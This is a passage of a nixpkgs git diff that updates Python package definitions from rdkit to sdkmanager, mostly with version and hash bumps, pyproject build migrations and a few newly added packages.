"sha256-TrOYf9kbcRM8E9vq6sjswK2BQ0eA5zSGAIiNAfIZtnk="; }; propagatedBuildInputs = [ ratarmountcore fusepy ]; diff --git a/pkgs/development/python-modules/rdkit/default.nix b/pkgs/development/python-modules/rdkit/default.nix index 8a29bc837cfaf..2d5af44a068d5 100644 --- a/pkgs/development/python-modules/rdkit/default.nix +++ b/pkgs/development/python-modules/rdkit/default.nix @@ -42,7 +42,7 @@ let in buildPythonPackage rec { pname = "rdkit"; - version = "2023.09.4"; + version = "2023.09.5"; pyproject = false; src = @@ -53,7 +53,7 @@ buildPythonPackage rec { owner = pname; repo = pname; rev = "Release_${versionTag}"; - hash = "sha256-yPpt7F3w17tZEe+HECODZ7p27QidNt1sd5f/T2V87NE="; + hash = "sha256-ZYNAHNBHQPx8rBJSvEWFEpdSpYyXcoqJ+nBA7tpHwQs="; }; unpackPhase = '' diff --git a/pkgs/development/python-modules/redshift-connector/default.nix b/pkgs/development/python-modules/redshift-connector/default.nix index 01f2766216e21..704eb5d1e1f61 100644 --- a/pkgs/development/python-modules/redshift-connector/default.nix +++ b/pkgs/development/python-modules/redshift-connector/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "redshift-connector"; - version = "2.0.918"; + version = "2.1.0"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "aws"; repo = "amazon-redshift-python-driver"; rev = "refs/tags/v${version}"; - hash = "sha256-hGj/KZz3QYpA/MQE4TcX4wYazMs10RIJCDNyZ+puEYY="; + hash = "sha256-EYJFJbeYUW/vCD46sm5CLeyINL/hcF7IA2myuVmqFaY="; }; # remove addops as they add test directory and coverage parameters to pytest diff --git a/pkgs/development/python-modules/refery/default.nix b/pkgs/development/python-modules/refery/default.nix new file mode 100644 index 0000000000000..0bae769fbdadd --- /dev/null +++ b/pkgs/development/python-modules/refery/default.nix @@ -0,0 +1,45 @@ +{ lib +, buildPythonPackage +, fetchPypi +, pythonOlder + +, poetry-core +, pyyaml +, colorama +, junit-xml +}: + +buildPythonPackage rec { + pname = "refery"; + version = "2.1.0"; + format = "pyproject"; + + src = fetchPypi { + inherit pname version; + hash = "sha512-ju0lqCSg0zcZNqRXDmFX6X1ugBocpmHMBWJApO6Tzhm/tLMQTKy2RpB4C8fkKCEWA2mYX4w1dLdHe68hZixwkQ=="; + }; + + propagatedBuildInputs = [ + poetry-core + pyyaml + colorama + junit-xml + ]; + + pythonImportCheck = [ + "refery" + ]; + + disabled = pythonOlder "3.10"; + + # No tests yet + doCheck = false; + + meta = with lib; { + description = "Functional testing tool"; + homepage = "https://github.com/RostanTabet/refery"; + mainProgram = "refery"; + maintainers = with maintainers; [ rostan-t ]; + license = licenses.mit; + }; +} diff --git a/pkgs/development/python-modules/remotezip/default.nix b/pkgs/development/python-modules/remotezip/default.nix index 6581fc6189bea..e7ed4b1c356df 100644 --- a/pkgs/development/python-modules/remotezip/default.nix +++ b/pkgs/development/python-modules/remotezip/default.nix @@ -1,36 +1,35 @@ { lib , buildPythonPackage , fetchFromGitHub +, setuptools , requests , tabulate , pytestCheckHook , requests-mock }: -buildPythonPackage { +buildPythonPackage rec { pname = "remotezip"; - version = "0.12.2"; - format = "setuptools"; + version = "0.12.3"; + pyproject = true; src = fetchFromGitHub { owner = "gtsystem"; repo = "python-remotezip"; - # upstream does not tag releases, determined with git blame - # pypi archive lacks files for tests - rev = "3723724d6d877d3166d52f4528ffa7bd5bf6627f"; - hash = "sha256-iYxHW8RdLFrpjkcEvpfF/NWBnw7Dd5cx2ghpof2XFn4="; + rev = "refs/tags/v${version}"; + hash = "sha256-TNEM7Dm4iH4Z/P/PAqjJppbn1CKmyi9Xpq/sU9O8uxg="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ requests - tabulate ]; nativeCheckInputs = [ pytestCheckHook - ]; - - checkInputs = [ requests-mock ]; diff --git a/pkgs/development/python-modules/reolink-aio/default.nix b/pkgs/development/python-modules/reolink-aio/default.nix index 0712eb586d43f..b1fb08c4bdf33 100644 --- a/pkgs/development/python-modules/reolink-aio/default.nix +++ b/pkgs/development/python-modules/reolink-aio/default.nix @@ -5,13 +5,14 @@ , fetchFromGitHub , orjson , pythonOlder +, setuptools , typing-extensions }: buildPythonPackage rec { pname = "reolink-aio"; - version = "0.8.7"; - format = "setuptools"; + version = "0.8.9"; + pyproject = true; disabled = pythonOlder "3.9"; @@ -19,9 +20,13 @@ buildPythonPackage rec { owner = "starkillerOG"; repo = "reolink_aio"; rev = "refs/tags/${version}"; - hash = "sha256-+Yhw7Wbt0K7BLXatd/UANnnNWPkxgk8SqAyV9Kk4hos="; + hash = "sha256-MUhB8A51dj+FA3+lvBrFyAWizKq5CpYwo38E1euJsHs="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiohttp aiortsp diff --git a/pkgs/development/python-modules/reptor/default.nix b/pkgs/development/python-modules/reptor/default.nix index 1f35854766f04..db85c6b3edcb3 100644 --- a/pkgs/development/python-modules/reptor/default.nix +++ b/pkgs/development/python-modules/reptor/default.nix @@ -32,7 +32,7 @@ buildPythonPackage rec { pname = "reptor"; - version = "0.9"; + version = "0.12"; pyproject = true; disabled = pythonOlder "3.8"; @@ -41,7 +41,7 @@ buildPythonPackage rec { owner = "Syslifters"; repo = "reptor"; rev = "refs/tags/${version}"; - hash = "sha256-CjTedIl7ZkSFfKKhHmCadTd7zdz3gP7Q4uCscv5An38="; + hash = "sha256-8XjEWs+LKKc7ztNchNVmW+YGdYpmi5ee4eOoXIUBoM8="; }; pythonRelaxDeps = true; diff --git a/pkgs/development/python-modules/reqif/default.nix b/pkgs/development/python-modules/reqif/default.nix index e0ba5610ebd5f..f3a37488a2255 100644 --- a/pkgs/development/python-modules/reqif/default.nix +++ b/pkgs/development/python-modules/reqif/default.nix @@ -1,54 +1,57 @@ { lib +, beautifulsoup4 , buildPythonPackage -, python , fetchFromGitHub , hatchling -, beautifulsoup4 -, lxml , jinja2 +, lxml , pytestCheckHook +, python , pythonOlder +, pythonRelaxDepsHook +, xmlschema }: buildPythonPackage rec { pname = "reqif"; - version = "0.0.35"; - format = "pyproject"; + version = "0.0.40"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "strictdoc-project"; - repo = pname; + repo = "reqif"; rev = "refs/tags/${version}"; - hash = "sha256-3yOLOflPqzJRv3qCQXFK3rIFftBq8FkYy7XhOfWH82Y="; + hash = "sha256-VQvwynFv/DN5RHT00rxtDcJ9wsEpKdsh3rdyUakBr2Q="; }; postPatch = '' - substituteInPlace ./tests/unit/conftest.py --replace \ - "os.path.abspath(os.path.join(__file__, \"../../../../reqif\"))" \ + substituteInPlace ./tests/unit/conftest.py \ + --replace-fail "os.path.abspath(os.path.join(__file__, \"../../../../reqif\"))" \ "\"${placeholder "out"}/${python.sitePackages}/reqif\"" - substituteInPlace requirements.txt --replace "==" ">=" ''; nativeBuildInputs = [ hatchling + pythonRelaxDepsHook ]; propagatedBuildInputs = [ beautifulsoup4 lxml jinja2 - ]; - - pythonImportsCheck = [ - "reqif" + xmlschema ]; nativeCheckInputs = [ pytestCheckHook ]; + pythonImportsCheck = [ + "reqif" + ]; + meta = with lib; { description = "Python library for ReqIF format"; homepage = "https://github.com/strictdoc-project/reqif"; diff --git a/pkgs/development/python-modules/requests-cache/default.nix b/pkgs/development/python-modules/requests-cache/default.nix index f3ec2c4123a8f..1e4b0299be290 100644 --- a/pkgs/development/python-modules/requests-cache/default.nix +++ b/pkgs/development/python-modules/requests-cache/default.nix @@ -31,16 +31,16 @@ buildPythonPackage rec { pname = "requests-cache"; - version = "1.1.1"; - format = "pyproject"; + version = "1.2.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "requests-cache"; repo = "requests-cache"; rev = "refs/tags/v${version}"; - hash = "sha256-0KBx6nplD/l8GZfMbyUtgHj2e4/vH9EAgdyNFm+kPyM="; + hash = "sha256-w1ptKi/MH3kGZxLMUNq/Gs6btGx+n2fG4nfQUXCXmiY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/requests-ratelimiter/default.nix b/pkgs/development/python-modules/requests-ratelimiter/default.nix index 5cc57d86a57f5..af5304341b287 100644 --- a/pkgs/development/python-modules/requests-ratelimiter/default.nix +++ b/pkgs/development/python-modules/requests-ratelimiter/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "requests-ratelimiter"; - version = "0.4.2"; + version = "0.6.0"; pyproject = true; src = fetchFromGitHub { owner = "JWCook"; repo = "requests-ratelimiter"; - rev = "v${version}"; - hash = "sha256-w4cBQRpk9UTuGA0lPDsqpQ3UEIQdYe38NYXz+V4+Lvc="; + rev = "refs/tags/v${version}"; + hash = "sha256-ctCD+vlV90KCO7DdPUZJipBC/lz6NXx0gYuHHrs22IY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/requests/default.nix b/pkgs/development/python-modules/requests/default.nix index 44733b2da0afe..33749a992471c 100644 --- a/pkgs/development/python-modules/requests/default.nix +++ b/pkgs/development/python-modules/requests/default.nix @@ -30,7 +30,7 @@ buildPythonPackage rec { hash = "sha256-lCxadY+Y15Dq7Ropy27vx/+w0c968Fw9J5Flbb1q0eE="; }; - propagatedBuildInputs = [ + dependencies = [ brotlicffi certifi charset-normalizer @@ -38,7 +38,7 @@ buildPythonPackage rec { urllib3 ]; - passthru.optional-dependencies = { + optional-dependencies = { security = []; socks = [ pysocks @@ -53,7 +53,7 @@ buildPythonPackage rec { pytest-xdist pytestCheckHook ] - ++ passthru.optional-dependencies.socks; + ++ optional-dependencies.socks; disabledTests = [ # Disable tests that require network access and use httpbin diff --git a/pkgs/development/python-modules/requirements-detector/default.nix b/pkgs/development/python-modules/requirements-detector/default.nix index bc6054ffad1b6..e679937dbd4cc 100644 --- a/pkgs/development/python-modules/requirements-detector/default.nix +++ b/pkgs/development/python-modules/requirements-detector/default.nix @@ -7,25 +7,31 @@ , semver , pytestCheckHook , pythonOlder +, pythonRelaxDepsHook , toml }: buildPythonPackage rec { pname = "requirements-detector"; version = "1.2.2"; - format = "pyproject"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "landscapeio"; - repo = pname; + repo = "requirements-detector"; rev = "refs/tags/${version}"; hash = "sha256-qmrHFQRypBJOI1N6W/Dtc5ss9JGqoPhFlbqrLHcb6vc="; }; + pythonRelaxDeps = [ + "astroid" + ]; + nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/rerun-sdk/default.nix b/pkgs/development/python-modules/rerun-sdk/default.nix new file mode 100644 index 0000000000000..6ab9c8a758a05 --- /dev/null +++ b/pkgs/development/python-modules/rerun-sdk/default.nix @@ -0,0 +1,70 @@ +{ + buildPythonPackage, + lib, + rustPlatform, + stdenv, + attrs, + numpy, + pillow, + pyarrow, + rerun, + torch, + typing-extensions, + pytestCheckHook, + python, +}: + +buildPythonPackage { + pname = "rerun-sdk"; + inherit (rerun) version; + pyproject = true; + + inherit (rerun) src; + inherit (rerun) cargoDeps; + + nativeBuildInputs = [ + rustPlatform.cargoSetupHook + rustPlatform.maturinBuildHook + ]; + + propagatedBuildInputs = [ + attrs + numpy + pillow + pyarrow + typing-extensions + ]; + + buildAndTestSubdir = "rerun_py"; + + # https://github.com/NixOS/nixpkgs/issues/289340 + # + # Alternatively, one could + # dontUsePythonImportsCheck = true; + # dontUsePytestCheck = true; + postInstall = '' + rm $out/${python.sitePackages}/rerun_sdk.pth + ln -s rerun_sdk/rerun $out/${python.sitePackages}/rerun + ''; + + pythonImportsCheck = [ "rerun" ]; + + nativeCheckInputs = [ + pytestCheckHook + torch + ]; + + inherit (rerun) addDlopenRunpaths addDlopenRunpathsPhase; + postPhases = lib.optionals stdenv.isLinux [ "addDlopenRunpathsPhase" ]; + + disabledTestPaths = [ + # "fixture 'benchmark' not found" + "tests/python/log_benchmark/test_log_benchmark.py" + ]; + + meta = { + description = "Python bindings for `rerun` (an interactive visualization tool for stream data)"; + inherit (rerun.meta) changelog homepage license maintainers; + mainProgram = "rerun"; + }; +} diff --git a/pkgs/development/python-modules/resend/default.nix b/pkgs/development/python-modules/resend/default.nix new file mode 100644 index 0000000000000..5ce129dd67160 --- /dev/null +++ b/pkgs/development/python-modules/resend/default.nix @@ -0,0 +1,47 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, pythonOlder +, pytestCheckHook +, requests +}: + +buildPythonPackage rec { + pname = "resend"; + version = "0.8.0"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "resend"; + repo = "resend-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-6cQtI3it2AS8UdT83fp3y3IcbjSyPmBlQuymN74fBNo="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + requests + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "resend" + ]; + + meta = with lib; { + description = "SDK for Resend"; + homepage = "https://github.com/resend/resend-python"; + changelog = "https://github.com/resend/resend-python/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/ripser/default.nix b/pkgs/development/python-modules/ripser/default.nix index 0b65e8c1c4876..6e847e4836365 100644 --- a/pkgs/development/python-modules/ripser/default.nix +++ b/pkgs/development/python-modules/ripser/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "ripser"; - version = "0.6.4"; + version = "0.6.7"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-eps+lCCGnFDfhemkRskSuK+BYh5iyhr4+UksYzW35ZQ="; + hash = "sha256-UuxI1bA6H8s2D9xWVwCecXEHkCV0rhkxuoooaer/a8A="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/rns/default.nix b/pkgs/development/python-modules/rns/default.nix index 3fc348be75612..6c2473f971c1c 100644 --- a/pkgs/development/python-modules/rns/default.nix +++ b/pkgs/development/python-modules/rns/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "rns"; - version = "0.7.0"; + version = "0.7.2"; pyproject = true; disabled = pythonOlder "3.7"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "markqvist"; repo = "Reticulum"; rev = "refs/tags/${version}"; - hash = "sha256-iwW52jPSCwelfByerKHxKgH4NbWwCJLPyHXyBeJPwaM="; + hash = "sha256-7j82M2T3bPypcXa3SsAflrN5T+d+JJlg3voYu8ALmXE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/rokuecp/default.nix b/pkgs/development/python-modules/rokuecp/default.nix index 00f710060cc7b..f9f6bc5cf0011 100644 --- a/pkgs/development/python-modules/rokuecp/default.nix +++ b/pkgs/development/python-modules/rokuecp/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "rokuecp"; - version = "0.19.0"; + version = "0.19.1"; format = "pyproject"; disabled = pythonOlder "3.9"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "ctalkington"; repo = "python-rokuecp"; rev = "refs/tags/${version}"; - hash = "sha256-e7BY0Y2SdAtECKqOCUZfq7PcCR2bhQ4lESQD9jTaqpI="; + hash = "sha256-lBsfSiG1xSf+blNjQTLtTaG04ezE9eNVjqSAHVy57oY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/roombapy/default.nix b/pkgs/development/python-modules/roombapy/default.nix index 02fdef0c54b06..bef8114aa3cfa 100644 --- a/pkgs/development/python-modules/roombapy/default.nix +++ b/pkgs/development/python-modules/roombapy/default.nix @@ -5,41 +5,40 @@ , orjson , paho-mqtt , poetry-core +, pydantic , pytest-asyncio , pytestCheckHook , pythonOlder +, pythonRelaxDepsHook }: buildPythonPackage rec { pname = "roombapy"; - version = "1.6.10"; - format = "pyproject"; + version = "1.6.13"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.10"; src = fetchFromGitHub { owner = "pschmitt"; repo = "roombapy"; rev = "refs/tags/${version}"; - hash = "sha256-aGNSySSKCx/8GYUdDWMSAhMBex738UACqnqj/Qx1m38="; + hash = "sha256-5TFuOk3fj4kg5MyWz7HQ/zWdvceFa3mWnFx+Yuq2III="; }; - postPatch = '' - # hbmqtt was replaced by amqtt - substituteInPlace tests/test_roomba_integration.py \ - --replace "from hbmqtt.broker import Broker" "from amqtt.broker import Broker" - - substituteInPlace pyproject.toml \ - --replace 'orjson = ">=3.8.7"' 'orjson = "*"' - ''; - nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook + ]; + + pythonRelaxDeps = [ + "orjson" ]; propagatedBuildInputs = [ orjson paho-mqtt + pydantic ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/rope/default.nix b/pkgs/development/python-modules/rope/default.nix index c014314685b99..ad5cad2dd8cb3 100644 --- a/pkgs/development/python-modules/rope/default.nix +++ b/pkgs/development/python-modules/rope/default.nix @@ -10,16 +10,16 @@ buildPythonPackage rec { pname = "rope"; - version = "1.9.0"; - format = "pyproject"; + version = "1.12.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "python-rope"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-j65C3x3anhH23D4kic5j++r/Ft0RqgZ/jFrNrNHVcXA="; + hash = "sha256-j/9q2S2B3DzmEqMOBLG9iHwnLqZipcPxLaKppysJffA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/rova/default.nix b/pkgs/development/python-modules/rova/default.nix index 5f419615dd539..57b1b2a8e318c 100644 --- a/pkgs/development/python-modules/rova/default.nix +++ b/pkgs/development/python-modules/rova/default.nix @@ -4,22 +4,27 @@ , pytestCheckHook , pythonOlder , requests +, setuptools }: buildPythonPackage rec { pname = "rova"; - version = "0.3.0"; - format = "setuptools"; + version = "0.4.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "GidoHakvoort"; - repo = pname; - rev = "v${version}"; - hash = "sha256-TLL9Ta+7Xd55hGTTXjc6CBMj+tW1LpFrprpsnGqZvkQ="; + repo = "rova"; + rev = "refs/tags/v${version}"; + hash = "sha256-6tICjph+ffS6OSMxzR4ANB4Q6sG1AKAgUN83DyEGpvo="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ requests ]; @@ -34,6 +39,7 @@ buildPythonPackage rec { meta = with lib; { description = "Module to access for ROVA calendars"; homepage = "https://github.com/GidoHakvoort/rova"; + changelog = "https://github.com/GidoHakvoort/rova/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/rpy2/default.nix b/pkgs/development/python-modules/rpy2/default.nix index b957fb1170417..0270832326502 100644 --- a/pkgs/development/python-modules/rpy2/default.nix +++ b/pkgs/development/python-modules/rpy2/default.nix @@ -24,14 +24,14 @@ }: buildPythonPackage rec { - version = "3.5.14"; + version = "3.5.15"; format = "setuptools"; pname = "rpy2"; disabled = isPyPy; src = fetchPypi { inherit version pname; - hash = "sha256-X0auMdNuEXvjZq1K4CSTwBWsa6WevjtM1yAAdTMvxIE="; + hash = "sha256-RE+uSoTcfyM7cOqrCqgTmO4BR8ThrjjdRSTXedbyWys="; }; patches = [ diff --git a/pkgs/development/python-modules/s3transfer/default.nix b/pkgs/development/python-modules/s3transfer/default.nix index 0400ab4b8cd87..124b44f097cc5 100644 --- a/pkgs/development/python-modules/s3transfer/default.nix +++ b/pkgs/development/python-modules/s3transfer/default.nix @@ -1,29 +1,38 @@ { lib +, stdenv , botocore , buildPythonPackage , fetchFromGitHub , pytestCheckHook , pythonOlder -, stdenv +, setuptools }: buildPythonPackage rec { pname = "s3transfer"; - version = "0.8.2"; - format = "setuptools"; + version = "0.10.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "boto"; - repo = pname; - rev = version; - hash = "sha256-sdoPjkZHN5wVCK9V6V+fkGvQvEQo2ABy2lqefEKfg6o="; + repo = "s3transfer"; + rev = "refs/tags/${version}"; + hash = "sha256-21xycx1+84uY4gFr7N+ra98dpsEwxy9zeSl4QA66nUc="; }; - propagatedBuildInputs = [ botocore ]; + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + botocore + ]; - nativeCheckInputs = [ pytestCheckHook ]; + nativeCheckInputs = [ + pytestCheckHook + ]; disabledTestPaths = [ # Requires network access @@ -32,12 +41,18 @@ buildPythonPackage rec { # There was a change in python 3.8 that defaults multiprocessing to spawn instead of fork on macOS # See https://bugs.python.org/issue33725 and https://github.com/python/cpython/pull/13603. # I suspect the underlying issue here is that upstream tests aren't compatible with spawn multiprocessing, and pass on linux where the default is still fork - lib.optionals stdenv.isDarwin [ "tests/unit/test_compat.py" ]; + lib.optionals stdenv.isDarwin [ + "tests/unit/test_compat.py" + ]; - pythonImportsCheck = [ "s3transfer" ]; + pythonImportsCheck = [ + "s3transfer" + ]; passthru.optional-dependencies = { - crt = [ botocore.optional-dependencies.crt ]; + crt = [ + botocore.optional-dependencies.crt + ]; }; meta = with lib; { diff --git a/pkgs/development/python-modules/sagemaker/default.nix b/pkgs/development/python-modules/sagemaker/default.nix index 6d0949a96e3fd..1fc9889da7a65 100644 --- a/pkgs/development/python-modules/sagemaker/default.nix +++ b/pkgs/development/python-modules/sagemaker/default.nix @@ -26,7 +26,7 @@ buildPythonPackage rec { pname = "sagemaker"; - version = "2.207.1"; + version = "2.210.0"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -35,7 +35,7 @@ buildPythonPackage rec { owner = "aws"; repo = "sagemaker-python-sdk"; rev = "refs/tags/v${version}"; - hash = "sha256-nSFBx2s6vy5Ug2tBiPqNu4Q29LGW2LijoDKlC6m4CL4="; + hash = "sha256-LRBN8jChycHZKKO2SeYHbYwBKGE6qh9qUdGdvmMXdSQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/sanic-testing/default.nix b/pkgs/development/python-modules/sanic-testing/default.nix index 8ebdeef2c86f7..e29ad8eb3c4ff 100644 --- a/pkgs/development/python-modules/sanic-testing/default.nix +++ b/pkgs/development/python-modules/sanic-testing/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "sanic-testing"; - version = "23.6.0"; + version = "23.12.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "sanic-org"; repo = "sanic-testing"; rev = "refs/tags/v${version}"; - hash = "sha256-WDiEuve9P9fLHxpK0UjxhbZUmWXtP+DV7e6OT19TASs="; + hash = "sha256-pFsGB0QDeO/iliHOitHqBIQtDlwRgFg8nhgMLsopoec="; }; outputs = [ diff --git a/pkgs/development/python-modules/sanic-testing/tests.nix b/pkgs/development/python-modules/sanic-testing/tests.nix index 7c2b94d9590c8..167a74217463b 100644 --- a/pkgs/development/python-modules/sanic-testing/tests.nix +++ b/pkgs/development/python-modules/sanic-testing/tests.nix @@ -1,7 +1,8 @@ { buildPythonPackage -, sanic-testing , pytest-asyncio , pytestCheckHook +, sanic-testing +, setuptools }: buildPythonPackage { @@ -18,6 +19,7 @@ buildPythonPackage { pytest-asyncio pytestCheckHook sanic-testing + setuptools ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/sanic/default.nix b/pkgs/development/python-modules/sanic/default.nix index 752802df209cd..fb1d5aba58db2 100644 --- a/pkgs/development/python-modules/sanic/default.nix +++ b/pkgs/development/python-modules/sanic/default.nix @@ -3,6 +3,7 @@ , buildPythonPackage , fetchFromGitHub , fetchpatch +, pythonAtLeast # build-system , setuptools @@ -145,6 +146,9 @@ buildPythonPackage rec { "test_websocket_route_with_subprotocols" # Socket closes early "test_no_exceptions_when_cancel_pending_request" + ] ++ lib.optionals (pythonAtLeast "3.12") [ + # AttributeError: 'has_calls' is not a valid assertion. Use a spec for the mock if 'has_calls' is meant to be an attribute. + "test_ws_frame_put_message_into_queue" ]; disabledTestPaths = [ diff --git a/pkgs/development/python-modules/scikit-build-core/default.nix b/pkgs/development/python-modules/scikit-build-core/default.nix index fb218491c7707..494cfa1a76060 100644 --- a/pkgs/development/python-modules/scikit-build-core/default.nix +++ b/pkgs/development/python-modules/scikit-build-core/default.nix @@ -22,13 +22,13 @@ buildPythonPackage rec { pname = "scikit-build-core"; - version = "0.7.0"; + version = "0.8.0"; pyproject = true; src = fetchPypi { pname = "scikit_build_core"; inherit version; - hash = "sha256-hffyRpxWjGzjWrL6Uv4tJqBODeUH06JMGrtyg3Vlf9M="; + hash = "sha256-WAW/iYSXOemY/BuupG5WVVZi8cnZfEF8PgOHAtZTr+M="; }; postPatch = lib.optionalString (pythonOlder "3.11") '' diff --git a/pkgs/development/python-modules/scikit-hep-testdata/default.nix b/pkgs/development/python-modules/scikit-hep-testdata/default.nix index fd4e5100c2872..94531f8a2213c 100644 --- a/pkgs/development/python-modules/scikit-hep-testdata/default.nix +++ b/pkgs/development/python-modules/scikit-hep-testdata/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "scikit-hep-testdata"; - version = "0.4.38"; + version = "0.4.39"; format = "pyproject"; disabled = pythonOlder "3.6"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "scikit-hep"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-/+1eENbpng/X1g108cEGiTZlIkdcqqnm9wyN9ECH5D4="; + hash = "sha256-tcKEJrqB7cblcmH4PtSmx0heUew2+aDE4+mk2v9cUuo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/scikit-misc/default.nix b/pkgs/development/python-modules/scikit-misc/default.nix index cf9d4c84c0bbd..4b995c0ba006a 100644 --- a/pkgs/development/python-modules/scikit-misc/default.nix +++ b/pkgs/development/python-modules/scikit-misc/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "scikit-misc"; - version = "0.3.0"; + version = "0.3.1"; pyproject = true; src = fetchFromGitHub { owner = "has2k1"; repo = "scikit-misc"; rev = "refs/tags/v${version}"; - hash = "sha256-XV3s+y3JdMr1770S91ek6Y7MqvTg7/2cphLQldUPe5s="; + hash = "sha256-2L30hvKbFqIGlSEbzc1HvHybBqDGldJfZoUpqJJOv2Q="; }; postPatch = '' diff --git a/pkgs/development/python-modules/scrapy/default.nix b/pkgs/development/python-modules/scrapy/default.nix index 72a3957723ea8..9548f9136e8c7 100644 --- a/pkgs/development/python-modules/scrapy/default.nix +++ b/pkgs/development/python-modules/scrapy/default.nix @@ -5,7 +5,6 @@ , cryptography , cssselect , fetchPypi -, fetchpatch , glibcLocales , installShellFiles , itemadapter @@ -22,6 +21,7 @@ , pythonOlder , queuelib , service-identity +, setuptools , sybil , testfixtures , tldextract @@ -32,31 +32,20 @@ buildPythonPackage rec { pname = "scrapy"; - version = "2.11.0"; - format = "setuptools"; + version = "2.11.1"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit version; pname = "Scrapy"; - hash = "sha256-PL3tzgw/DgSC1hvi10WGg758188UsO5q37rduA9bNqU="; + hash = "sha256-czoDnHQj5StpvygQtTMgk9TkKoSEYDWcB7Auz/j3Pr4="; }; - patches = [ - # Fix compatiblity with Twisted>=23.8. Remove with the next release. - (fetchpatch { - url = "https://github.com/scrapy/scrapy/commit/aa95ada42cdf570f840f55c463375f8a81b303f8.patch"; - hash = "sha256-LuhA5BqtjSUgkotplvUCtvGNYOTrl0MJRCXiSBMDFzY="; - excludes = [ - "tests/CrawlerProcess/sleeping.py" - "tests/test_crawler.py" - ]; - }) - ]; - nativeBuildInputs = [ installShellFiles + setuptools ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/sdds/default.nix b/pkgs/development/python-modules/sdds/default.nix index 9ae9c01b39e02..8051215440802 100644 --- a/pkgs/development/python-modules/sdds/default.nix +++ b/pkgs/development/python-modules/sdds/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "sdds"; - version = "0.4.0"; + version = "0.4.1"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "pylhc"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-8tnJAptTUsC0atxM9Dpn90drcprdWrs8fYoX8RDkLyQ="; + hash = "sha256-4phANoYohuCaLbzO4TgRkSS+UHE8CnzonpEd46xzD0M="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/sdkmanager/default.nix b/pkgs/development/python-modules/sdkmanager/default.nix index 0a2092c3d24ca..7063adf94e18b 100644 --- a/pkgs/development/python-modules/sdkmanager/default.nix +++ b/pkgs/development/python-modules/sdkmanager/default.nix @@ -2,14 +2,16 @@ , buildPythonPackage , fetchFromGitLab , pythonOlder +, pythonAtLeast , argcomplete , requests +, looseversion , gnupg }: buildPythonPackage rec { pname = "sdkmanager"; - version = "0.6.5"; + version = "0.6.6"; format = "setuptools"; disabled = pythonOlder "3.5"; @@ -18,12 +20,15 @@ buildPythonPackage rec { owner = "fdroid"; repo = pname; rev = version; - hash = "sha256-EQ24OjQZr42C1PFtIXr4yFzYb/M4Tatqu8Zo+9dgtEE="; + hash = "sha256-Vuht2gH9ivNG7PgG+XKtkdKoszkkoI91reQKg6D50xs="; }; propagatedBuildInputs = [ argcomplete requests + ] ++ requests.optional-dependencies.socks + ++ lib.optionals (pythonAtLeast "3.12") [ + looseversion ]; postInstall = '' diff --git a/pkgs/development/python-modules/sectools/default.nix b/pkgs/development/python-modules/sectools/default.nix 